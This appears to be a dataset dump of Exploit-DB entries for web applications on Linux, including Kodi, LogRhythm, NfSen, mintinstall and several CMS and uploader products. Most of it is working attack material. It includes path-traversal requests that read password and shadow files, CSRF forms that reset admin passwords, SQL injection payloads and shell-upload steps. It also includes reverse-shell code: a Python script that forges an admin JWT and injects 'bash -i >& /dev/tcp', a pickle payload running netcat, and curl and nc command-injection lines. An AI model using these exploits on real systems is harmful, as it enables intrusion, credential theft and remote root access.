deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41312
Description: Kodi 17.1 - Arbitrary File Disclosure
Type: webapps
Platform: linux
Date: 2017-02-12
Author: Eric Flokstra

Exploit:
# Exploit Title: Kodi - Local File Inclusion
# Date: 12 February 2017
# Exploit Author: Eric Flokstra
# Vendor Homepage: https://kodi.tv/
# Software Link: https://kodi.tv/download/
# Version: Kodi version 17.1 (Krypton), Chorus version 2.4.2
# Tested on: Linux

Kodi (formerly XBMC) is a free and open-source media player software
application developed by the XBMC Foundation. Chorus is a web interface
for controlling and interacting with Kodi. It is hosted by the Kodi
installation.

The web interface loads a thumbnail of an image, video or add-on when
selecting a category in the left menu with the following request:

http://192.168.1.25:8080/image/image%3A%2F%2F%252fhome%252fosmc%252f.kodi%252faddons%252fplugin.video.vice%252ficon.png%2F

Insufficient validation of user input is performed on this URL resulting
in a local file inclusion vulnerability. This enables attackers
to retrieve arbitrary files from the filesystem by changing the location
after the '/image/image%3A%2F%2F’ part.

<--Examples-->

1) If Kodi is connected to a NAS the following request can be used to obtain plain text SMB credentials:

http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fhome%252fosmc%252f.kodi%252fuserdata%252fpasswords.xml

Response:

<passwords><path><from pathversion="1">smb://192.168.1.15/</from><to
pathversion="1">smb://username:password@192.168.1.15//share</to></path></passwords>

2) Request to retrieve the content of /etc/passwd:

http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd

Response:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
Exploit-DB #45167
Description: LG-Ericsson iPECS NMS 30M - Directory Traversal
Type: webapps
Platform: linux
Date: 2018-08-08
Author: Safak Aslan

Exploit:
# Exploit Title: LG-Ericsson iPECS NMS 30M - Directory Traversal
# Shodon Dork: iPECS CM
# Exploit Author: Safak Aslan
# Software Link: www.ipecs.com
# Version: 30M-B.2Ia and 30M-2.3Gn
# Authentication Required: No
# Tested on: Linux
# CVE: N/A

# Description
# The directory traversal was detected on LG-Ericsson's iPECS product that
# can be exploited to reach sensitive info on the vulnerable system. 
# Ericsson-LG iPECS NMS 30M allows directory traversal via 
# ipecs-cm/download?filename=../ URIs.

# The GET input of the "filename" has been set to ../../../../../../../../../../etc/passwd.
# By the sending of the below GET request, it is possible to reach configuration files directly.

targetIP/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data 

# The GET input of the "filepath" has been set to ../../../../../../../../../../etc/passwd%00.jpg.
# By the sending of the below GET request, it is possible to reach configuration files directly.

targetIP/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg
Exploit-DB #41976
Description: LogRhythm Network Monitor - Authentication Bypass / Command Injection
Type: webapps
Platform: linux
Date: 2017-04-24
Author: Francesco Oddo

Exploit:
# Exploit Title: LogRhythm Network Monitor Auth Bypass Root RCE
# Public Disclosure Date: 24 Apr 2017
# Author: Francesco Oddo
# Reference: http://security-assessment.com/files/documents/advisory/Logrhythm-NetMonitor-Advisory.pdf
# Software Link: https://logrhythm.com/network-monitor-freemium/
# Version: 3.3.2.1061 (latest) or below 
# Tested On: nm_install_3.3.2.1061.iso with Freemium License (SHA256 7978f84e9fb18e2fae95f77a263801ca89b4767c95154b9ea874032081b02ce1)
# Dependencies: `pip install PyJWT`

import json
import requests
import argparse
import time 
import jwt

def forge_jwt(rhost):
	print "[+] Forging JWT authentication token"
	key = 'Gluten-free 100% narwhal deserunt polaroid; quinoa keytar asymmetrical slow-carb plaid occaecat nostrud green juice dolor!'

	iat = time.time()
	exp = iat + 3600;

	body = json.loads('{"iat":[PII_REDACTED],"exp":[PII_REDACTED],"data":{"username":"admin","licensed":true,"role":"admin","timeToResetPass":false}}')
	body["iat"] = int(iat)
	body["exp"] = int(exp)

	token = jwt.encode(body, key, algorithm='HS512');
	return token

def command_inject(rhost, lhost, lport, gwhost, ifname):
	uri = "https://%s/data/api/configuration/" % rhost
	json_body = json.loads('{"type":"network","configurations":[{"name":"interface","value":"","isToggle":false},{"name":"method","value":true,"isToggle":true},{"name":"ipAddress","value":"","isToggle":false},{"name":"netMask","value":"255.255.255.0","isToggle":false},{"name":"gateway","value":"","isToggle":false},{"name":"dnsServers","value":"","isToggle":false},{"name":"searchDomains","value":"","isToggle":false}],"diffFields":["dnsServers"]}')
	payload = ";bash -i >& /dev/tcp/%s/%s 0>&1" % (lhost, lport)
        json_body["configurations"][0]["value"] = ifname
	json_body["configurations"][2]["value"] = rhost
	json_body["configurations"][3]["value"] = payload
	json_body["configurations"][4]["value"] = gwhost
	json_body["configurations"][5]["value"] = gwhost
	jwt = forge_jwt(rhost)
	auth_header = {'Token': jwt}
	print "[+] Initiating reverse shell via command injection at %s:%s" % (lhost, lport)
	requests.post(url=uri, json=json_body, headers=auth_header, verify=False)

if __name__ == '__main__':
	parser = argparse.ArgumentParser(description='LogRhythm Network Monitor Root Remote Command Execution PoC')
	parser.add_argument('--rhost', help='RHOST IP address')
	parser.add_argument('--lhost', help='LHOST IP address')
	parser.add_argument('--lport', help='LPORT')
	parser.add_argument('--gwhost', help='Gateway IP address')
    parser.add_argument('--ifname', help='Target Interface Identifier', default='enp0s3')
	args = parser.parse_args()

	command_inject(args.rhost, args.lhost, args.lport, args.gwhost, args.ifname)
Exploit-DB #10433
Description: Mail Manager Pro - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: linux
Date: 2009-12-14
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: Mail Manager Pro XSRF (Change Admin Password)
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.

[#] Application: Mail Manager Pro
[#] Version: the only one there is
[#] Link: http://www.scriptsez.net/?action=details&cat=Mailing%20List%20Managers&id=[PII_REDACTED]
[#] Price: 15 USD
[#] Vulnerability: Cross Site Request Forgery
[#-----------------------------------------------------------------------------------------------#]


With this exploit we can remotely change admins password.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/mmp/admin.php?action=change&mode=verify"
method="post">
<input type="hidden" name="admin_id" value="admin">
<input type="hidden" name="admin_email" value="my@newmail.net">
<input type="hidden" name="company" value="My Company">
<input type="hidden" name="admin_pass" value="hacked">
<input type="hidden" name="cpass" value="hacked">
<input type="submit" name="submit" value="Change">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#] EOF
Exploit-DB #44681
Description: Merge PACS 7.0 - Cross-Site Request Forgery
Type: webapps
Platform: linux
Date: 2018-05-21
Author: Safak Aslan

Exploit:
# Exploit Title: Merge PACS 7.0 - Cross-Site Request Forgery
# Google Dork: -
# Date: 2018-05-21
# Exploit Author: Safak Aslan
# Vendor Homepage: http://www.merge.com/
# Version:  Merge PACS 7.0
# Tested on: Windows
# CVE: -
 
# 1. Proof of Concept

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://targetIP/servlet/actions/merge-viewer/summary" method="POST">
      <input type="hidden" name="amicasUsername" value="merge" />
      <input type="hidden" name="password" value="viewer" />
      <input type="hidden" name="submitButton" value="Login" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Post Data:

POST /servlet/actions/merge-viewer/summary HTTP/1.1
Host: targetIP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://targetIP/servlet/actions/merge-viewer/login?redirectTo=https%3A%2F%2FtargetIP%2Fservlet%2Factions%2Fmerge-viewer%2Fsummary
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Cookie: JSESSIONID=6846606B53045FE6474A57C71719C93D
Connection: close
Upgrade-Insecure-Requests: 1

amicasUsername=merge&[CREDENTIAL_REDACTED]=Login
Exploit-DB #47457
Description: mintinstall 7.9.9 - Code Execution
Type: webapps
Platform: linux
Date: 2019-10-03
Author: İbrahim Hakan Şeker

Exploit:
# Exploit Title: mintinstall (aka Software Manager) object injection
# Date: 10/02/2019
# Exploit Author: Andhrimnirr
# Vendor Homepage: https://www.linuxmint.com/
# Software Link: mintinstall (aka Software Manager)
# Version: 7.9.9
# Tested on: Linux Mint
# CVE : CVE-2019-17080


import os
import sys
def shellCode(payload):
    with open(f"{os.getenv('HOME')}/.cache/mintinstall/reviews.cache","w") as wb:
        wb.write(payload)
    print("[+] Start mintinstall")
if __name__=="__main__":
    shellCode(f"""cos\nsystem\n(S"nc -e /bin/sh {sys.argv[1]} {sys.argv[2]}"\ntR.""")
else:
    print("[!] exploit.py [IP] [PORT]")
Exploit-DB #10429
Description: myPHPupload 0.5.1 - Arbitrary File Upload
Type: webapps
Platform: linux
Date: 2009-12-14
Author: ViRuSMaN

Exploit:
##############################################################
|
| myPHPupload 0.5.1 Remote File Upload Vulnerability
|
| Author : [ViRuSMaN]
|
| Contact : [v.-m@live.com]
|
| Home : [Islam-Attack.CoM , HackTeach.OrG]
|
| Download : [http://www.graphiks.net/telecharger/myPHPupload.zip]
|
##############################################################
|
|
| Exp :
|
| 1- Uoload your shell format "shell.php"
|
| 2- Go to The Pwd target.com/path/rep_secret/
|
| 3- Found name your shell
|
##############################################################
Exploit-DB #10756
Description: MySimpleFileUploader 1.6 - Arbitrary File Upload
Type: webapps
Platform: linux
Date: 2009-12-28
Author: FormatXformat

Exploit:
=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=
MySimpleFileUploader V1.6 Upload Shell Vulnerability

script: MySimpleFileUploader V1.6

Site script: http://phpx3.com


=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Found by: FormatXFormaT

contact: hun4r@yahoo.com

Forum: http://Tkurd.com

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Dork:
"Powerd By MySimpleFileUploader V1.6"

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
step 1 : Change type file to c99.php.sisx

step 2 : Upload Your Shell

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Video:
http://www.megaupload.com/?d=Z0R343KN

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=

Special Thanks: Angry-Boy , Neo , All Tkurd Memebers.

=-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-=
Exploit-DB #10430
Description: NAS Uploader 1.0/1.5 - Arbitrary File Upload
Type: webapps
Platform: linux
Date: 2009-12-14
Author: ViRuSMaN

Exploit:
##############################################################
|
| NAS Uploader [V1.0&1.5] Remote File Upload Vulnerability
|
| Author : [ViRuSMaN]
|
| Contact : [v.-m@live.com]
|
| Home : [Islam-Attack.CoM , HackTeach.OrG]
|
| Download : [http://www.nasuploader.com/nasuploader_v10_packdemo.php]
| [http://www.nasuploader.com/nasuploader_v15_packdemo.php]
|
##############################################################
|
|
| Exp :
|
| 1- Go to target.com/[path]/upload_multiple_js.php
|
| 2- Click On "Parcourir"
|
| 3- Upload Your Shell Format "shell.php.rar"
|
| 4- Pwd Your Shell [target.com/[path]/uploads/tests/shell.php.rar]
|
##############################################################
|
| Greets : All members of islam-attack.com , hackteach.org & Sec-Sni.Com All Muslim's
|
##############################################################
Exploit-DB #46811
Description: NetNumber Titan ENUM/DNS/NP 7.9.1 - Path Traversal / Authorization Bypass
Type: webapps
Platform: linux
Date: 2019-05-08
Author: MobileNetworkSecurity

Exploit:
# Exploit Title: NetNumber Titan ENUM/DNS/NP - Path Traversal - Authorization Bypass
# Google Dork: N/A
# Date: 4/29/2019
# Exploit Author: MobileNetworkSecurity
# Vendor Homepage: https://www.netnumber.com/products/#data
# Software Link: N/A
# Version: Titan Master 7.9.1
# Tested on: Linux
# CVE : N/A
# Type: WEBAPP

*************************************************************************
A Path Traversal issue was discovered in the Web GUI of NetNumber Titan 7.9.1.
When an authenticated user attempts to download a trace file (through drp) by using a ../../ technique, arbitrary files can be downloaded from the server. Since the webserver running with elevated privileges it is possible to download arbitrary files.
The HTTP request can be executed by any (even low privileged) user, so the authorization mechanism can be bypassed.
*************************************************************************

Proof of Concept (PoC):

http://X.X.X.X/drp?download=true&path=Ly9TWVNURU0vc3lzdGVtL3RyYWNlP2Rvd25sb2FkPXQmZWw9Li4vLi4vLi4vLi4vZXRjL3NoYWRvdw$$

The vulnerable path parameter is base64 encoded where the equal sign replaced by the dollar sign.

Original payload:
Ly9TWVNURU0vc3lzdGVtL3RyYWNlP2Rvd25sb2FkPXQmZWw9Li4vLi4vLi4vLi4vZXRjL3NoYWRvdw$$

Replaced dollar signs:
Ly9TWVNURU0vc3lzdGVtL3RyYWNlP2Rvd25sb2FkPXQmZWw9Li4vLi4vLi4vLi4vZXRjL3NoYWRvdw==

Base64 decoded payload:
//SYSTEM/system/trace?download=t&el=../../../../etc/shadow

In the HTTP response you will receive the content of the file.

*************************************************************************
The issue has been fixed in the newer version of the software.
Exploit-DB #44911
Description: NewMark CMS 2.1 - 'sec_id' SQL Injection
Type: webapps
Platform: linux
Date: 2018-06-20
Author: Berk Dusunur

Exploit:
# Exploit Title: NewMark CMS 2.1 - SQL Injection (sec_id)
# Google Dork: /catalog/?sect_id=
# Date: 2018-06-20
# Exploit Author: Berk Dusunur
# Vendor Homepage: https://nmark.ru/
# Software Link: https://nmark.ru/razrabotka/korporativniy-sayt/
# Version: v2.1
# Tested on: Pardus
# CVE : N/A

# Prof Of Consept
# sec id parameter affected by sql injection

# payload:
http://Target/catalog/?sect_id=e00d4757

# Parameter: sect_id (GET)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: sect_id=-7753" OR 1455=1455#

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# 

Payload: sect_id=e00d4757" AND (SELECT 6440 FROM(SELECT COUNT(*),CONCAT(0x71717a7171,(SELECT(ELT(6440=6440,1))),0x716a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- twet

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind

Payload: sect_id=e00d4757" AND SLEEP(5)-- UNpo

# Type: UNION query
# Title: MySQL UNION query (NULL) - 2 columns

Payload: sect_id=-1642" UNION ALL SELECT CONCAT(0x71717a7171,0x6f6a4d[PII_REDACTED]634c4d4657504e[PII_REDACTED]71724b634c[PII_REDACTED][PII_REDACTED]5a67424c67,0x716a7a6b71),NULL#
Exploit-DB #44698
Description: NewsBee CMS 1.4 - 'home-text-edit.php' SQL Injection
Type: webapps
Platform: linux
Date: 2018-05-22
Author: AkkuS

Exploit:
# Exploit Title: NewsBee CMS 1.4 - 'home-text-edit.php' SQL Injection
# Dork: N/A
# Date: 2018-05-22
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/newsbee-fully-featured-news-cms-with-bootstrasp-php-mysql/19404937
# Version: 1.4 / fourth update
# Category: Webapps
# Tested on: Kali linux

# PoC: SQLi:
# Parameter: id
# Type: boolean-based blind
# Demo: http://target/NewsBee/admin/home-text-edit.php?id=5
# Payload: 

Payload: id=5' AND 3563=3563 AND 'HmOW'='HmOW

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload:

id=5' AND (SELECT 7446 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(7446=7446,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'rNYc'='rNYc

# Type: AND/OR time-based blind
# Demo: http://target/NewsBee/admin/home-text-edit.php?id=5
# Payload: 

id=5' AND SLEEP(5) AND 'KdYd'='KdYd

# Type: UNION query
# Demo: http://target/NewsBee/admin/home-text-edit.php?id=5
# Payload: 

id=-1714' UNION ALL SELECT
NULL,NULL,CONCAT(0x[PII_REDACTED],0x[PII_REDACTED]6a566c616e5156496a6a[PII_REDACTED]5670596f644f466f[PII_REDACTED]69636d4358694c,0x71766a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
WSZd&t=gallery
Exploit-DB #42314
Description: NfSen < 1.3.7 / AlienVault OSSIM 4.3.1 - 'customfmt' Command Injection
Type: webapps
Platform: linux
Date: 2017-07-11
Author: Paul Taylor

Exploit:
# Exploit Title: NfSen/AlienVault remote root exploit (command injection in customfmt parameter)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault USM/OSSIM < 4.3.1
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: NfSen 1.3.7
# CVE: CVE-2017-7175, CVE-2017-6972

1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972.

2. Proof of Concept


For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box:

'; nc -ne /bin/bash 10.100.1.2 443 #

If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability.

3. Solution:

Update to latest version of NfSen/USM/OSSIM
Exploit-DB #42306
Description: NfSen < 1.3.7 / AlienVault OSSIM 5.3.4 - Command Injection
Type: webapps
Platform: linux
Date: 2017-07-10
Author: Paul Taylor

Exploit:
# Exploit Title: NfSen/AlienVault remote root exploit (IPC query command injection)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault 5.3.4
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.4
# CVE: CVE-2017-6971
1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system.

2. Proof of Concept
# From a linux bash prompt on the attacker's machine:

# Set target IP
targetip='10.100.1.1'

# Set desired command to inject (in this case a reverse shell, using Netcat which is conveniently available on an AlienVault USM All-In-One):
cmd='nc -ne /bin/bash 10.100.1.2 443';

# Set the PHPSESSID of an authenticated session which has *already* submitted at least one valid NfSen query for processing via the Web UI.
PHPSESSID='offq09ckq66fqtvdd0vsuhk5c7';

# Next use curl to send the exploit
curl -o /dev/null -s -k -b "PHPSESSID=$PHPSESSID" -d "process=Process&output=custom+...&customfmt=%0A.%0Arun-nfdump%0Aargs=-h; $cmd #" https://$targetip/ossim/nfsen/nfsen.php

3. Solution:

Update to latest version of NfSen/USM/OSSIM
Exploit-DB #51896
Description: Nokia BMC Log Scanner - Remote Code Execution
Type: webapps
Platform: linux
Date: 2024-03-16
Author: Carlos Andres Gonzalez_ Matthew Gregory

Exploit:
# Exploit Title: Nokia BMC Log Scanner Remote Code Execution
# Google Dork: N/A
# Date: November 29, 2023
# Exploit Author: Carlos Andres Gonzalez, Matthew Gregory
# Vendor Homepage: https://www.nokia.com/
# Software Link: N/A
# Version: 13
# Tested on: Linux
# CVE : CVE-2022-45899

Description
The BMC Log Scanner web application, available on several hosts, is vulnerable to command injection
attacks, allowing for unauthenticated remote code execution. This vulnerability is especially significant
because this service runs as root.

Steps to Reproduce:
In the Search Pattern field, type:

;";command

Replacing the word "command" above with any Linux command.
Root access can be confirmed with the id command or any other command that would require
root access, such as displaying the contents of the /etc/shadow file."

This issue was fixed in version 13.1.